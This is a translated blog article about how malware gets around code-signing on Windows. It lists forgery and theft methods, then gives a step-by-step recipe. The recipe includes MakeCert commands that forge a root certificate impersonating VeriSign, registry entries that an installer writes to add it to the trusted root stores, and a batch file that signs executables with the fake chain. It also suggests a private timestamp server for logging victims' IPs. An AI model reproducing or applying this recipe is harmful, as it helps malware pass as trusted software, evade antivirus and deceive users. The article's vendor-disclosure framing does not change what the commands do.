Digital signatures in executable files and circumvention of this protection in malware

Habra

Well, it seems like we managed to resolve issues with karma, but they don’t relate in any way to today's topic, but only explain a certain delay in its release (initial plans were for November last year).

Today I offer you a small overview of the system of electronic signatures of executable files and ways to circumvent and falsification of this system. It will also be considered in detail one of the very effective ways to circumvent. Despite the fact that the described info is already several months old, not everyone knows about it. The manufacturers of the products described below have been notified of the material being described, so the solution to this problem, if they consider this a problem at all, is their responsibility. Because there was plenty of time.

THEORY
')
The idea and technology of electronic signature for executable files originated in the era of Windows NT. Since the advent of Windows Vista, Microsoft has launched an active company to promote this technology. As planned by the manufacturer, the signed code can only come from a trusted author of this code, and therefore is guaranteed not to harm the system and is protected from errors ( three ha-ha ).

However, since the signature mechanism most often uses a fairly complex crypto-resistant mechanism, general confidence in the signed code has spread. Anti-virus vendors also did not leave it. True: if the code is signed, then it clearly cannot be a virus, and therefore it can be trusted a priori, thereby reducing the likelihood of false positives. Therefore, in most modern anti-virus products, the default is to bypass the verification of signed files, which increases the scanning speed and reduces the likelihood of false positives. Moreover, often signed programs are automatically entered into the category of "trusted" behavioral analyzers aka hips.

It becomes clear that by signing his creations with a valid signature, the virus maker gets a rather rich audience of clients who will get infected, even with an active and regularly updated antivirus. Obviously, this is a very tidbit, which is easily seen in the example of the already famous Stuxnet virus, where the code was signed with valid Realtek certificates (later reported on JMicron signatures).

But this approach has a downside: after detecting a compromised signature, it immediately responds, and by the very fact AV signatories put signature detection, it is clear that with a 100% trigger. Considering that it is extremely expensive to purchase a stolen certificate required for signing, it is clear that virus makers are interested in a total bypass of the signature verification mechanism, without valid private-keys or using self-generation of such keys. This will allow you to bypass the protection of not only anti-virus products, but also install drivers and ActiveX-components without warnings, and generally somehow get into the world of x64, where you can’t install anything without signatures.

But about this - more in practice.

PRACTICE

Some of the greats said that in order to get ahead of the enemy, you need to start thinking like him. So, if we are virus makers, what can we do?

1. Copy certificate information from some clean file.

This is the most popular way at the moment. Signature information is copied to the smallest detail, right down to the chain of trusted publishers. It is clear that such a copy is valid only in the user's opinion. However, what the OS displays may well confuse the inexperienced and be perceived as another glitch - still, if all the publishers are correct, then why is this signature invalid? Alas and oh - such a majority.

2. Use self-signed certificates with a fake name.

Similarly to the above described variant, except that the chain in the certification path is not even copied.

3. Forge MD5.

Despite the fact that the weakness of the MD5 algorithm has long been described ( here and here ), it is still often used in electronic signatures. However, real examples of MD5 hacking concern either very small files or lead to malfunctioning of the code. In practice, there are no viruses with fake hacked signatures on the MD5 algorithm, but nevertheless this method is theoretically possible.
4. Obtain a certificate under the usual procedure and use it for malicious purposes.

One of the most common methods of the authors of the so-called riskware, adware and fake antiviruses. An example would be the fake Perfect Defender (standard divorce: “scan for free - you have a virus - pay us and we will remove it”) exists with the signatures of several companies:
• Jeansovi llc
• Perfect Software llc
• Sovinsky llc
• Trambambon llc

How this is done well can tell our domestic developers of Vinlockers, writing in small letters about the "joke program", etc., thus protecting themselves from an article on fraud. That's how we live…

It is interesting that absolutely normal programs with the following names of owners really exist:
• Verified Software
• Genuine Software Update Limited
• Browser plugin

It is clear that if you really believe this, then it is easy to make a mistake when you first look at the certificate.

It should also be noted that it is not difficult to obtain a signature from certification centers. For example, RapidSSL for verification uses just e-mail. If the correspondence is conducted from addresses like admin, administrator, hostmaster, info, is, it, mis, postmaster, root, ssladmin,
ssladministrator, sslwebmaster, sysadmin or webmaster@somedomain.com - it’s obvious that the domain owner is writing, right? ( three more haha ). But the glorious company Digital River (DR), a commercial outsourcing and e-commerce, generally provides certificates to all its customers. No wonder that MSNSpyMonitor, WinFixer, QuickKeyLogger, ErrorSafe, ESurveiller, SpyBuddy, TotalSpy, Spynomore, Spypal and generally about 0.6% of all DR-signed files are malware, and potentially more than that — more than 5% of all DR-signed files .

For the sake of fairness, I note that signing the x64 driver is far from being so easy, in this case no violations have been noticed so far.

5. Find an employee of a trusted company and ask him to sign your code.

No comments. Everyone loves money. The question is only in the amount :)

6. Steal certificate.

At the moment, there are three large families of Trojans known, "sharpened", in particular, under theft of certificates. It:
• Adrenalin
• Ursnif
• Zeus
• SpyEye (possible)

Nonetheless, no massive cases of the use of stolen certificates in new versions of these Trojans have been noticed. Perhaps this is a trump card in the sleeve? Time will tell…

7. Infect the development system of a trusted developer and inject malicious code into releases before signing.

A vivid example of such an infection is the concept virus Induc.a. The virus injects the code at compile time, infecting the development system. As a result, the developer does not even know that an invisible “appendage” appeared in his program. The release passes the signature and is published with a full certificate. See the gopher? And he is! ;)

Fortunately, Induc.a is only PoC, performing only the infection of development systems without implementing any additional malicious functionality.

And now - the promised snacks.

VULNERABILITY OR HOW I HAVE CONDUCTED THIS SUMMER

As you can see, there are quite a few options for circumventing a signature. In our example, we will consider the modified version 1 and 2, described above.

So what do we need?
- MakeCert.exe
- cert2spc.exe
- sign.exe
- ruki.sys
- mozg.dll

I think that it will not be difficult for the operator to find these components, but for the most lazy I post the first three here . I don’t post the last two in view of the hard binding to the hardware, the complete lack of cross-platform and specificity of the code :)

So, create a certificate of a trusted publisher. Let's try to copy as much information as possible about the same VeriSign:
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer

As a result of execution, we will get veri.pvk and veri.cer suitable for signing.

Now we will create a child certificate using just received:

MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer

As a result, we obtain kl.pvk and kl.cer, which will be trusted certificates from an untrusted publisher. The chain can continue for a long time, fooling the naive user. But there will be one result: the certificate will not be valid, because there is one untrusted element in the chain. BUT!

On Windows, it is possible to install any certificate, including a self-signed certificate, as a trusted one. This is convenient: in some cases, the developer can make a self-signed certificate, enter it into the trusted and work quietly with their applications. In our case, this is doubly convenient, because as such it is - obviously, simply entering information into the registry. what is the information is not specific to a particular system.

We will install any registry monitor on our test virtual machine, and then we will add our desired certificate from supposedly VeriSign to trusted ones. Track where the change happened - and voila! We can dump the corresponding branch of the registry, and then shove it into the installer. In total, our installer enters the registry, automatically turning the certificate of the primary publisher into a trusted one and validating the entire chain.

In order not to finally open all the cards, I will only say that in my case the registry dump looked like
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
"Blob"=hex:04,00,00,.....

well, or if only for the current user, then
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates\A61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
"Blob"=hex:04,00,00,.....

Having entered this data into the registry, the program with the fake chain of signatures was automatically tested by sigverif.exe. Well, to sign our code with the received certificate is generally simple, a batch file is enough:

cert2spc.exe kl.cer kl.spc
sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc

Pay attention to the use of timestamp.stais.verisign.com/scripts/timstamp.dll - theoretically it is quite possible to use your own server on your own domain, which will allow every time to see that someone checked the signature of our program on your computer, which means getting IP and checkout time. Really convenient? ;)

The funny thing is that at the time of writing the material back in October-November of 2010, Kaspersky Internet Security 2011 did not track the specified registry branches, and the validation of the chain was left to the discretion of the OS, which we simply inflated. I do not know what is now, but it seems like some branches have blocked ... Check, unsubscribe!

It should be noted that for the creation of signatures it is possible to use specific software that is not available in public. It is clear that it does not break the signature, but it gives much more flexible possibilities to fill in the X500 fields, which creates an appearance of validity even better. Here you can download a curious example. The archive contains the popular replacement file Notepad bred3_2k ( offsite ) with and without a Microsoft signature :) To make the signature completely valid, it is enough to make changes to the registry contained in the key + .reg file. Similarly, the key -.reg file overrides these changes. Track the certification path - it's curious :)

Immediately I draw attention to the fact that the author of the “example” has registered his own timestamp server, so that any manipulations will lead to the fact that the author finds out your IP - and further, as described. If you want, you can track these appeals and unsubscribe in the comments;)

If necessary, in the next article I will tell you how to configure hips to protect the corresponding registry branches in order to avoid the introduction of certificates into trusted ones. Unsubscribe in the comments - it is possible that this vulnerability has already been fixed.

The article used the presentation material Jarno Niemela (F-Secure).